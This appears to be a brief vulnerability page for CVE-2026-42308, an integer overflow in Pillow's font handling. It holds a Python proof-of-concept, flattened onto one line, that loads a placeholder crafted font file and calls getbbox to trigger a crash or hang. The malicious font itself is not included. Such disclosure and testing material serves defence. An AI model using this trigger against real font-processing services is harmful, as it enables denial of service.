CVE-2026-42308 Pillow整数溢出漏洞

import sys from PIL import ImageFont # Proof of Concept for CVE-2026-42308 # This script attempts to load a crafted font file # that contains an excessively large glyph advance. # This triggers the integer overflow in Pillow < 12.2.0. # Replace 'crafted_font.ttf' with the actual malicious file path font_path = 'crafted_font.ttf' try: # Load the font font = ImageFont.truetype(font_path, 20) print("Font loaded. Attempting to trigger overflow during processing...") # Processing text with the font triggers the position tracking logic text = "VULNERABLE" # Depending on the Pillow version, this might cause a crash or hang # due to the integer overflow in the advance calculation. # textbbox or getsize calls the underlying logic. left, top, right, bottom = font.getbbox(text) print(f"Processing complete. BBox: {left}, {top}, {right}, {bottom}") except Exception as e: print(f"An exception occurred (expected in vulnerable versions): {e}")